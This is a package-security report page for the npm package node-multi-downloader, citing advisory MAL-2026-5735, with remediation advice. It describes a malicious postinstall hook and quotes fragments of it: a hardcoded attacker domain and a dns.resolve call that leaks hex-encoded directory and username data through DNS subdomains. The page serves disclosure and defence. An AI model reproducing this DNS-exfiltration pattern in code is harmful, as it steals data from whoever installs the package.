node-multi-downloader
This report shows the evidence for node-multi-downloader@5.0.14-rc.3. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5735 confirms this npm version as malicious.
Advisory
MAL-2026-5735
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in node-multi-downloader (npm)
Details
On `npm install`, this package's postinstall hook (`node index.js`) hex-encodes the installer's current working directory, the first 15 entries of that directory, and `os.userInfo().username`, and leaks each chunk via DNS A-record lookups to subdomains of the attacker-controlled domain `uqlyosvp1f9.oob.evilsec.xyz`. The hardcoded out-of-band domain is bound at index.js line 1 (`const D = "uqlyosvp1f9.oob.evilsec.xyz"`) and index.js line 8 calls `dns.resolve(`${chunk}.${tag}${i}.${D}`, 'A',...)` to transmit the encoded data. DNS-subdomain encoding is a well-known technique to evade HTTP egress filtering. The package metadata (description "RSI package!", anonymous author, release-candidate version) provides no legitimate purpose that would justify reading installer filesystem and identity at install time.
## Source: ghsa-malware (c4dcda165ec9c4aeaf9717069c8a7fbbd56eb311976815127695894752de7115) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
References
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to node-multi-downloader@5.0.14-rc.3.
The versions list below shows the verdict for each recorded version.
- Avoid installing node-multi-downloader@5.0.14-rc.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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